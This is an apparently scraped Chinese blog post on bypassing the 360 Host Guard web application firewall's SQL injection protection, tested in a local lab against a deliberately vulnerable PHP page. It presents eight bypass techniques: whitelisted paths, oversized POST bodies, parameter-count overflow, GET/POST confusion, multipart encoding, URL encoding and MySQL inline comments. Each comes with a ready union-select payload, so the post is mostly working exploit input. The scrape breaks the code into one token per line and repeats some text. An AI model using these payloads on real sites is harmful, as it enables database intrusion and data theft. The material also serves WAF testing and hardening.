0x00 前言
在服务器客户端领域,曾经出现过一款360主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影。从半年前的测试虚拟机里面,翻出了360主机卫士Apache版的安装包,就当做是一个纪念版吧。这边主要分享一下几种思路,Bypass 360主机卫士SQL注入防御。
0x01 环境搭建
360主机卫士官网:http://zhuji.360.cn
软件版本:360主机卫士Apache 纪念版
测试环境:phpStudy
这边主要分享一下几种思路,Bypass 360 主机卫士 SQL 注入防御。
![SQL注入绕WAF总结_第1张图片](http://img.e-com-net.com/image/info8/474a6f5b17d64f578a4a2403a516091f.jpg)
软件版本:360主机卫士Apache 纪念版
测试环境:phpStudy
这边主要分享一下几种思路,Bypass 360 主机卫士 SQL 注入防御。
![SQL注入绕WAF总结_第1张图片](http://img.e-com-net.com/image/info8/474a6f5b17d64f578a4a2403a516091f.jpg)
本地构造SQL注入点:
[AppleScript]
纯文本查看 复制代码
1
2
|
id
=
_REQUEST['
id
'];
query
=
"SELECT * FROM admin WHERE id = id "
;
|
姿势一:网站后台白名单
在360主机卫士客户端设置中存在默认网站后台白名单,如图:
[AppleScript]
纯文本查看 复制代码
1
|
/
test.php
/
admin?
id
=
1
union
select
1
,
2
,
schema_name
from
information_schema.SCHEMATA
|
姿势二:静态资源
[AppleScript]
纯文本查看 复制代码
1
|
/
test.php
/
1.
png?
id
=
1
union
select
1
,
2
,
schema_name
from
information_schema.SCHEMATA
|
姿势三:缓冲区溢出
当Post大包时,WAF在处理测试向量时超出了其缓冲区长度,超过检测内容长度将会直接Bypass,如果正常用户上传一些比较大的文件,WAF每个都检测的话,性能就会被耗光。
基于这些考虑,POST 大包溢出的思路可成功Bypass。
[AppleScript]
纯文本查看 复制代码
1
2
3
|
/
test.php
POST:
id
=
1
and
(
select
1
)
=
(
Select
0
xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
)
union
select
1
,
2
,
schema_name
from
information_schema.SCHEMATA
|
姿势四:uri参数溢出
这种溢出的形式,我称它为uri参数溢出。比如某WAF,默认情况下只能获取前100个参数进行检测,当提交第101个参数时,那么,将无法对攻击者提交的第100个以后的参数进行有效安全检测,从而绕过安全防御。
经测试,当提交的参数个数超过97个,可进行union select 查询,再增加对关键字from的绕过,可成功Bypass。
[AppleScript]
纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
|
http
:
/
/
192.1
68.2
04.1
28
/
test.php
POST:
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
&
id
=
1
union
select
1
,
2
,
schema_name %
0
a
/
!
from
/
information_schema.SCHEMATA
|
姿势五:GET+POST
一个历史久远的逻辑问题了,当同时提交GET、POST请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可轻易Bypass。
[AppleScript]
纯文本查看 复制代码
1
2
|
/
test.php?
id
=
1
union
select
1
,
2
,
schema_name
from
information_schema.SCHEMATA
POST:aaa
|
![SQL注入绕WAF总结_第8张图片](http://img.e-com-net.com/image/info8/274a9d74d6d04e77a066fabca6b917c4.jpg)
姿势六:multipart/form-data格式
将Post、Get数据包转为上传multipart/form-data格式数据包,利用协议解析的差异,从而绕过SQL防御。
[AppleScript]
纯文本查看 复制代码
1
2
3
4
5
|
------WebKitFormBoundaryACZoaLJJzUwc4hYM
Content
-
Disposition
:
form
-
data
;
name
=
"id"
1
union
/
*
!
select
*
/
1
,
2
,
schema_name【这里使用Enter换行】
from
information_schema.SCHEMATA
------WebKitFormBoundaryACZoaLJJzUwc4hYM--
|
如果转换数据包进行绕过呢?
首先,新建一个html页面:
[AppleScript]
纯文本查看 复制代码
1
2
3
4
5
6
7
8
9
|
<
html
>
<
head
>
<
/
head
>
<
body
>
<
form action
=
"http://192.168.204.128/test.php"
method
=
"post"
enctype
=
"multipart/form-data"
>
<
input type
=
"text"
name
=
"id"
>
<
input type
=
"submit"
>
<
/
form
>
<
/
body
>
<
/
html
>
|
姿势七:编码绕过
客户端对Payload进行编码,服务端能够自动进行解码,这时候就考验WAF的编码解码能力了,如果WAF不能进行有效解码还原攻击向量,可能导致绕过,常见编码如URL编码、unicode编码(IIS)、宽字节编码等。这个地方虽然URL编码也能绕过获取数据,主要是因为WAF对POST的防御规则太过于松散,union select 随便绕,select from 用%0a就可以解决,主要分享一下编码绕过的思路。
[AppleScript]
纯文本查看 复制代码
1
2
|
/
test.php?
id
=
1
POST:
id
=
1
%
55
nion %
53
elect
/
*
!
1
,
2
,
schema_name %
0
aFROM information_schema.SCHEMATA
*
/
|
![SQL注入绕WAF总结_第10张图片](http://img.e-com-net.com/image/info8/193a0a79f5674464bbc8e24dc49734c0.jpg)
姿势八:%0a+内联注释
利用Mysql数据库的一些特性,绕过WAF的防御规则,最终在数据库中成功执行了SQL,获取数据。
[AppleScript]
纯文本查看 复制代码
1
2
3
|
http
:
/
/
192.1
68.2
04.1
28
/
test.php
POST:
id
=
1
union%
0
a
/
*
!
12345
select
*
/
1
,
2
,
schema_name%
0
a
/
*
!
12345
from
*
/
information_schema.SCHEMATA
|
![SQL注入绕WAF总结_第11张图片](http://img.e-com-net.com/image/info8/b9f2e8e27cf7431abfbc84e8cc431daf.jpg)
0x03 自动化Bypass
当测试出绕过WAF SQL注入防御的技巧后,可通过编写tamper脚本实现自动化注入,以姿势八:%0a+内联注释为例,主要是针对union select from等关键字替换,Payload中的部分关键字可能会被waf拦截,需要一步步调试,测试,总结规律。
tamper脚本:
加载tamper脚本,可成功获取数据
这边也分享一下,另一个比较简单的自动化注入的方法,就是使用超级SQL注入工具,利用这边提供的注入绕过模块,结合日志中心的测试记录,可以很方便的进行调试,然后保存绕过模板,方便下次调用。
利用前面的关键字符进行替换,自动化注入获取数据库数据:
0x04 END
分享了几种有意思的绕过思路,主要利用了WAF层的逻辑问题,数据库层的一些特性,服务器层编码解析、参数获取的差异。其中借鉴和学习了不少前辈们的思路,受益匪浅,学习,沉淀,总结,分享,周而复始。